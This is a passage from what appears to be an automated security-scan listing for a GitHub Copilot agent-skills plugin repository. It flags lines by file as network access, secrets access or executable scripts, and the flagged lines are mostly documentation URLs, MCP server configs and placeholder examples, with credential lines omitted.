    | GitHub                | `https://platform.claude.com/docs/en/managed-agents/github.md`                   | "Extract github_repository resource shape, multi-repo mounting, and token rotation"             |
  • Network accessline 99
    | MCP Connector         | `https://platform.claude.com/docs/en/managed-agents/mcp-connector.md`            | "Extract MCP server declaration on agents and vault-based credential injection at session"     |
  • Network accessline 100
    | Vaults                | `https://platform.claude.com/docs/en/managed-agents/vaults.md`                   | "Extract vault create, credential add/rotate, OAuth refresh shape, and archive"                 |
  • Network accessline 101
    | Skills                | `https://platform.claude.com/docs/en/managed-agents/skills.md`                   | "Extract skill packaging and loading model for managed agents"                                  |
  • Network accessline 102
    | Memory                | `https://platform.claude.com/docs/en/managed-agents/memory.md`                   | "Extract memory resource shape, scoping, and lifecycle"                                         |
  • Network accessline 103
    | Onboarding            | `https://platform.claude.com/docs/en/managed-agents/onboarding.md`               | "Extract first-run setup, prerequisites, and account/region requirements"                      |
  • Network accessline 104
    | Cloud Containers      | `https://platform.claude.com/docs/en/managed-agents/cloud-containers.md`         | "Extract cloud container runtime, image config, and network/storage knobs"                     |
  • Network accessline 105
    | Migration             | `https://platform.claude.com/docs/en/managed-agents/migration.md`                | "Extract migration paths from earlier APIs/preview shapes to GA managed agents"                 |
  • Network accessline 111
    | Topic         | URL                                                     | Extraction Prompt                                                                                  | | ------------- | ---------------------------------------------
  • Network accessline 112
    | ------------- | ------------------------------------------------------- | -------------------------------------------------------------------------------------------------- | | Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks
  • Network accessline 113
    | Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks/cli.md`   | "Extract CLI install, authentication, command structure, and the beta:agents/environments/sessions commands" |
  • Network accessline 114
    | Authentication overview | `https://platform.claude.com/docs/en/manage-claude/authentication.md` | "Extract the credential options (API keys, interactive OAuth login, Workload Identity Federation) and when to use each" |
  • Network accessline 115
    | WIF reference | `https://platform.claude.com/docs/en/manage-claude/wif-reference.md`  | "Extract credential precedence order, the profile configuration file schema, and the configuration directory layout" |
  • Network accessline 123
    | SDK        | URL                                                      | Extraction Prompt                                                                                                       | | ---------- | -----------------------------
  • Network accessline 124
    | ---------- | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | | Python     | `https://github.com/anthropic
  • Network accessline 125
    | Python     | `https://github.com/anthropics/anthropic-sdk-python`     | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" |
  • Network accessline 126
    | TypeScript | `https://github.com/anthropics/anthropic-sdk-typescript` | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" |
  • Network accessline 127
    | Java       | `https://github.com/anthropics/anthropic-sdk-java`       | "Extract beta managed-agents classes, builders, and method signatures (`client.beta().agents()`, `BetaManagedAgents*`)" |
  • Network accessline 128
    | Go         | `https://github.com/anthropics/anthropic-sdk-go`         | "Extract beta managed-agents types and method signatures (`client.Beta.Agents`, `BetaManagedAgents*` event types)"      |
  • Network accessline 129
    | Ruby       | `https://github.com/anthropics/anthropic-sdk-ruby`       | "Extract beta managed-agents methods and parameter shapes (`client.beta.agents`, `client.beta.sessions`)"               |
  • Network accessline 130
    | C#         | `https://github.com/anthropics/anthropic-sdk-csharp`     | "Extract beta managed-agents classes and method signatures (NuGet package, `BetaManagedAgents*` types)"                 |
  • Network accessline 131
    | PHP        | `https://github.com/anthropics/anthropic-sdk-php`        | "Extract beta managed-agents classes and method signatures (`$client->beta->agents`, `BetaManagedAgents*` params)"      |
  • Network accessline 139
    | SDK                | URL                                                                         | Extraction Prompt                                                                                                   | | ------------------ 
  • Network accessline 141
    | Python (0.x → 1.x) | `https://github.com/anthropics/anthropic-sdk-python/blob/main/MIGRATION.md` | "Extract every breaking change with its before/after code, the new minimum Python version, and the upgrade command" |

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-api-reference.md

  • Network accessline 250
    "type": "url",       "name": "github",       "url": "https://api.githubcopilot.com/mcp/"
  • Network accessline 251
    "name": "github",       "url": "https://api.githubcopilot.com/mcp/"     }
  • Network accessline 252
    "url": "https://api.githubcopilot.com/mcp/"
  • Network accessline 279
    {       "type": "github_repository",       "url": "https://github.com/owner/repo (required)",
  • Network accessline 280
    [Credential-related source omitted]
  • Network accessline 281
    "url": "https://github.com/owner/repo (required)",
  • Network accessline 445
    Managed Agents endpoints have per-organization request-per-minute (RPM) limits, separate from your [Messages API token limits](https://platform.claude.com/docs/en/api/rate-limits). Model inference inside a session still draws from your orga
  • Network accessline 453
    Files and Skills endpoints use the standard tier-based [rate limits](https://platform.claude.com/docs/en/api/rate-limits).

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-client-patterns.md

  • Network accessline 5
    Code samples are TypeScript — other languages follow the same shape; see `{lang}/managed-agents/README.md` (cURL and C#: `curl/managed-agents.md`) for equivalents.

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-core.md

  • Network accessline 50
    Every session has a live trace view in the Anthropic Console at `https://platform.claude.com/workspaces/{workspace}/sessions/{session_id}`. Print this URL immediately after creating a session so the user can watch tool calls and messages st
  • Network accessline 129
    > 💡 **Watch it live in Console.** While developing, print a link so you can click through to the session UI instead of parsing the event stream: `https://platform.claude.com/workspaces/{workspace}/sessions/{session.id}`. Use `default` for `
  • Network accessline 353
    {"type": "mcp_toolset", "mcp_server_name": "linear"},         ],         "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],
  • Network accessline 354
    ],         "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],     },
  • Network accessline 355
    "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-environments.md

  • Network accessline 149
    model: 'claude-opus-5',     mcp_servers: [       { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' },
  • Network accessline 150
    mcp_servers: [       { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' },     ],
  • Network accessline 151
    { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' },
  • Network accessline 166
    {       type: 'github_repository',       url: 'https://github.com/owner/repo',
  • Network accessline 167
    [Credential-related source omitted]
  • Network accessline 168
    url: 'https://github.com/owner/repo',
  • Access to secretsline 169
    [Credential-related source omitted]
  • Network accessline 185
    "type": "url",         "name": "github",         "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 186
    "name": "github",         "url": "https://api.githubcopilot.com/mcp/",     }],
  • Network accessline 187
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 199
    resources=[{         "type": "github_repository",         "url": "https://github.com/owner/repo",
  • Network accessline 200
    [Credential-related source omitted]
  • Network accessline 201
    "url": "https://github.com/owner/repo",
  • Access to secretsline 202
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-events.md

  • Network accessline 52
    > ⚠<U+FE0F> **Robust polling (raw HTTP).** If you bypass the SDK and roll your own poll loop, don't rely on `requests` or `httpx` timeouts as wall-clock caps — they're **per-chunk** read timeouts, reset every time a byte arrives. A trickling respo

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-memory.md

  • Network accessline 199
    For cURL examples and the CLI (`ant beta:memory-stores ...`), web_fetch the Memory URL in `shared/live-sources.md` → Managed Agents.

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-multiagent.md

  • Network accessline 89
    The sections below are the reference for rosters, threads, events, and client-side handling; the platform guide is `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md`.
  • Network accessline 257
    For per-language bindings beyond Python, web_fetch `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` (see `shared/live-sources.md`).

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-onboarding.md

  • Network accessline 73
    **Block 2 — Runtime (every invocation; conversational and Outcome shapes).** SDK code in the detected language (Python/TS/cURL — SKILL.md → Language Detection); don't emit shell loops here:
  • Network accessline 75
    1. Load `agent_id` + `env_id` from config/env 2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/defa
  • Network accessline 76
    2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/default/sessions/{session.id}` (swap `default` for
  • Network accessline 82
    Pull exact syntax from `{lang}/managed-agents/README.md` for your detected language (cURL and C#: use `curl/managed-agents.md` as the wire-level reference). Don't invent field names.

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-outcomes.md

  • Network accessline 108
    For the raw HTTP shapes and per-language SDK bindings beyond Python, web_fetch `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md` (see `shared/live-sources.md`).

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-overview.md

  • Network accessline 32
    **Which beta header goes where:** The SDK sets `managed-agents-2026-04-01` automatically on `client.beta.{agents,environments,sessions,vaults,memory_stores,deployments,deployment_runs}.*` calls, and `files-api-2025-04-14` / `skills-2025-10-
  • Network accessline 70
    - **Stream to get events** — `GET /v1/sessions/{id}/events/stream` is the primary way to receive agent output in real-time. - **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent
  • Network accessline 71
    - **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent.mcp_tool_use`, or `agent.custom_tool_use` is pending resolution (`user.tool_confirmation` for the first two, `user.custom_t
  • Network accessline 72
    - **Don't trust HTTP-library timeouts as wall-clock caps** — `requests` `timeout=(c, r)` and `httpx.Timeout(n)` are *per-chunk* read timeouts; they reset every byte, so a trickling connection can block indefinitely. For a hard deadline on r

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-scheduled-deployments.md

  • Network accessline 16
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-self-hosted-sandboxes.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 108
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-tools.md

  • Network accessline 163
    {   "mcp_servers": [     { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" }
  • Network accessline 164
    "mcp_servers": [     { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" }   ],
  • Network accessline 165
    { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" }
  • Access to secretsline 200
    [Credential-related source omitted]
  • Network accessline 228
    "auth": {     "type": "mcp_oauth",     "mcp_server_url": "https://mcp.notion.com/mcp",
  • Network accessline 229
    [Credential-related source omitted]
  • Network accessline 230
    "mcp_server_url": "https://mcp.notion.com/mcp",
  • Access to secretsline 231
    [Credential-related source omitted]
  • Network accessline 234
    [Credential-related source omitted]
  • Network accessline 235
    "client_id": "<your OAuth client_id>",       "token_endpoint": "https://api.notion.com/v1/oauth/token",       "token_endpoint_auth": { "type": "none" }
  • Network accessline 236
    "token_endpoint": "https://api.notion.com/v1/oauth/token",
  • Access to secretsline 248
    [Credential-related source omitted]
  • Access to secretsline 249
    [Credential-related source omitted]
  • Access to secretsline 262
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/model-migration.md

  • Network accessline 452
    Haiku 4.5 has its own rate-limit pool separate from Haiku 3 / 3.5. If you're ramping traffic as you migrate, check your tier's Haiku 4.5 limits at [API rate limits](https://platform.claude.com/docs/en/api/rate-limits) — a quota that comfort
  • Network accessline 503
    If the code uses the `AnthropicBedrockMantle` client (Python `anthropic[bedrock]`, TypeScript `@anthropic-ai/bedrock-sdk`, Java `BedrockMantleBackend`, Go `bedrock.NewMantleClient`, etc.) or targets `https://bedrock-mantle.{region}.api.aws/
  • Network accessline 521
    If the code uses `AnthropicAWS` / `AnthropicAws` / `anthropicaws.NewClient` / `AnthropicAwsClient` (or targets `https://aws-external-anthropic.{region}.api.aws`), it is running on **Claude Platform on AWS** — Anthropic-operated, same-day AP

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/models.md

  • Network accessline 35
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/tool-use-concepts.md

  • Network accessline 99
    Set a `max_continuations` limit (e.g., 5) to prevent infinite loops. For the full guide, see: `https://platform.claude.com/docs/en/build-with-claude/handling-stop-reasons`
  • Network accessline 219
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling`
  • Network accessline 229
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool`
  • Network accessline 312
    model="claude-opus-5", max_tokens=1024,     betas=["mcp-client-2025-11-20"],     mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}],
  • Network accessline 313
    betas=["mcp-client-2025-11-20"],     mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}],     tools=[{"type": "mcp_toolset", "mcp_server_name": "example-mcp"}],
  • Network accessline 314
    mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}],
  • Network accessline 332
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/implement-tool-use`
  • Network accessline 342
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/computer-use/overview`
  • Network accessline 354
    - URL: `https://platform.claude.com/docs/en/build-with-claude/context-editing`
  • Network accessline 419
    - Docs: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md`
  • Network accessline 435
    | Language | Declaration | |---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` |
  • Network accessline 436
    |---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | | Go | `anthropic.ToolUnionParam{OfBashTool20250124: &anthropic.ToolBash20250124Param{}}` |
  • Network accessline 437
    | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` |
  • Network accessline 523
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview`

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/vendor-guide.md

  • Network accessline 22
    1. **The official Anthropic SDK** for the project's language (`anthropic`, `@anthropic-ai/sdk`, `com.anthropic.*`, etc.). This is the default whenever a supported SDK exists for the project. 2. **Raw HTTP** (`curl`, `requests`, `fetch`, `ht
  • Network accessline 23
    2. **Raw HTTP** (`curl`, `requests`, `fetch`, `httpx`, etc.) — only when the user explicitly asks for cURL/REST/raw HTTP, the project is a shell/cURL project, or the language has no official SDK.
  • Network accessline 27
    **Never guess SDK usage.** Function names, class names, namespaces, method signatures, and import paths must come from explicit documentation — either the `{lang}/` files in this skill or the official SDK repositories or documentation links
  • Network accessline 102
    Every SDK language above supports both the beta Tool Runner and Managed Agents (beta) — Python (`@beta_tool` decorator), TypeScript (`betaZodTool` + Zod), Java (annotated classes), Go (`BetaToolRunner` in the `toolrunner` pkg), Ruby (`BaseT
  • Network accessline 189
    **Partner pricing:** The prices above are Anthropic first-party API rates — they also apply to Claude on Microsoft Foundry, which is billed through the Microsoft Marketplace at standard API rates. Claude on Amazon Bedrock and Vertex AI is p
  • Access to secretsline 213
    [Credential-related source omitted]
  • Access to secretsline 215
    [Credential-related source omitted]
  • Network accessline 217
    - **SDK code or `ant` CLI:** just run it. The zero-arg client constructor and every `ant …` subcommand pick up the profile automatically — no env var needed. - **Raw `curl` / HTTP:** get a short-lived token with `ant auth print-credentials 
  • Network accessline 218
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]
  • Network accessline 289
    | C# | `Betas = ["fast-mode-2026-02-01"]` | `Speed = Speed.Fast` (`Anthropic.Models.Beta.Messages`) | | PHP | `betas: ['fast-mode-2026-02-01']` | `speed: 'fast'` | | cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` i
  • Network accessline 291
    | cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` in body |
  • Access to secretsline 343
    [Credential-related source omitted]
  • Access to secretsline 462
    [Credential-related source omitted]
  • Network accessline 470
    **All SDK languages use the same multi-file layout** — directory `{lang}/claude-api/` containing `README.md` (install, client init, basic request, thinking, caching, stop details, misc), `tool-use.md` (tool definitions, agentic loop, Anthro

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/claude-api/README.md

  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 96
    {           type: "image",           source: { type: "url", url: "https://example.com/image.png" },
  • Network accessline 97
    type: "image",           source: { type: "url", url: "https://example.com/image.png" },         },
  • Network accessline 98
    source: { type: "url", url: "https://example.com/image.png" },

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/claude-api/tool-use.md

  • Network accessline 493
    - `https://github.com/anthropics/anthropic-sdk-typescript/blob/main/examples/tools-helpers-memory.ts`

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/typescript/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for TypeScript. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the TypeScript SDK repo **or the relevant docs pag
  • Access to secretsline 19
    [Credential-related source omitted]
  • Network accessline 68
    ); console.log(session.id, session.status); console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 70
    console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 105
    {         type: "github_repository",         url: "https://github.com/owner/repo",
  • Network accessline 106
    type: "github_repository",         url: "https://github.com/owner/repo",         mount_path: "/workspace/repo",
  • Network accessline 107
    url: "https://github.com/owner/repo",
  • Access to secretsline 109
    [Credential-related source omitted]
  • Network accessline 341
    model: "claude-opus-5",   mcp_servers: [     { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },
  • Network accessline 342
    mcp_servers: [     { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },   ],
  • Network accessline 343
    { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/SKILL.md

  • Network accessline 53
    | Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | 
  • Network accessline 55
    | Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/architecture.md

  • Network accessline 62
    - **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`.
  • Network accessline 84
    - Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md

  • Network accessline 41
    Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/hitl.md

  • Network accessline 24
    **`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t
  • Network accessline 105
    **Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md

  • Network accessline 9
    1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent.
  • Network accessline 36
    | Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
  • Network accessline 37
    | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit
  • Network accessline 38
    | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |

harness/github-copilot/plugins/open-horizons-platform/skills/github-cli/scripts/setup-github-app.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 61
    $(basename "$0") --github-org myorg --app-name myorg-backstage \\         --homepage-url https://backstage.example.com \\
  • Network accessline 62
    --homepage-url https://backstage.example.com \\
  • Network accessline 63
    --callback-url https://backstage.example.com/api/auth/github/handler/frame \\
  • Network accessline 67
    $(basename "$0") --github-org myorg --app-name myorg-backstage \         --homepage-url https://backstage.example.com \
  • Network accessline 68
    --homepage-url https://backstage.example.com \
  • Network accessline 69
    --callback-url https://backstage.example.com/api/auth/github/handler/frame \
  • Network accessline 73
    $(basename "$0") --github-org myorg --app-name myorg-argocd \\         --homepage-url https://argocd.example.com \\
  • Network accessline 74
    --homepage-url https://argocd.example.com \\
  • Network accessline 75
    --callback-url https://argocd.example.com/api/dex/callback \\
  • Network accessline 248
    log_warning "GitHub Apps must be created via web UI:"     echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new"
  • Network accessline 249
    echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new"     echo ""
  • Network accessline 250
    echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new"
  • Network accessline 291
    log_warning "OAuth Apps must be created via web UI:"     echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new"
  • Network accessline 292
    echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new"     echo ""
  • Network accessline 293
    echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new"
  • Access to secretsline 319
    [Credential-related source omitted]
  • Access to secretsline 326
    [Credential-related source omitted]
  • Access to secretsline 336
    [Credential-related source omitted]
  • Access to secretsline 359
    [Credential-related source omitted]
  • Access to secretsline 386
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Access to secretsline 422
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 435
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/github-codespaces-golden-paths/references/devcontainer-templates.md

  • Network accessline 212
    [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/${{ values.repoUrl }}?quickstart=1)

harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-harness-engineering/SKILL.md

  • Network accessline 120
    The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid
  • Network accessline 157
    - [Harness starter kit](https://github.com/baskduf/harness-starter-kit)

harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-sdk/SKILL.md

  • Network accessline 106
    - [GitHub Copilot SDK](https://github.com/github/copilot-sdk)

harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-sdk/references/extended-guide.md

  • Network accessline 350
    github: {             type: "http",             url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 351
    type: "http",             url: "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 352
    url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 364
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 365
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 366
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 378
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 379
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 380
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 395
    {             Type = "http",             Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 396
    Type = "http",             Url = "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 397
    Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 704
    - **GitHub Repository**: https://github.com/github/copilot-sdk
  • Network accessline 705
    - **Getting Started Tutorial**: https://github.com/github/copilot-sdk
  • Network accessline 706
    - **GitHub MCP Server**: https://github.com/github/github-mcp-server
  • Network accessline 707
    - **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers
  • Network accessline 708
    - **Cookbook**: https://github.com/github/copilot-sdk
  • Network accessline 709
    - **Samples**: https://github.com/github/copilot-sdk

harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-enterprise-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-enterprise-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-org-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-org-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/open-horizons-platform/skills/github-issue-ops/dispatcher.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 199
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/github-issue-ops/test_dispatcher.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/reference/evaluation.md

  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 440
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Network accessline 454
    python scripts/evaluation.py \   -t sse \   -u https://example.com/mcp \
  • Network accessline 455
    [Credential-related source omitted]
  • Network accessline 456
    -u https://example.com/mcp \
  • Network accessline 467
    python scripts/evaluation.py \   -t http \   -u https://example.com/mcp \
  • Network accessline 468
    [Credential-related source omitted]
  • Network accessline 469
    -u https://example.com/mcp \
  • Access to secretsline 557
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/reference/node_mcp_server.md

  • Dangerous shell operationline 541
    "clean": "rm -rf dist"
  • Network accessline 600
    // Constants const API_BASE_URL = "https://api.example.com/v1";
  • Network accessline 601
    const API_BASE_URL = "https://api.example.com/v1";
  • Access to secretsline 707
    [Credential-related source omitted]
  • Access to secretsline 708
    [Credential-related source omitted]
  • Access to secretsline 719
    [Credential-related source omitted]
  • Access to secretsline 720
    [Credential-related source omitted]
  • Network accessline 737
    const port = parseInt(process.env.PORT || '3000');   app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);
  • Network accessline 738
    app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);   });
  • Network accessline 739
    console.error(`MCP server running on http://localhost:${port}/mcp`);

harness/github-copilot/plugins/open-horizons-platform/skills/mcp-builder/reference/python_mcp_server.md

  • Network accessline 42
    **For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 43
    `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 233
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 234
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 235
    async with httpx.AsyncClient() as client:
  • Network accessline 251
    # Good: Async network request async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:
  • Network accessline 252
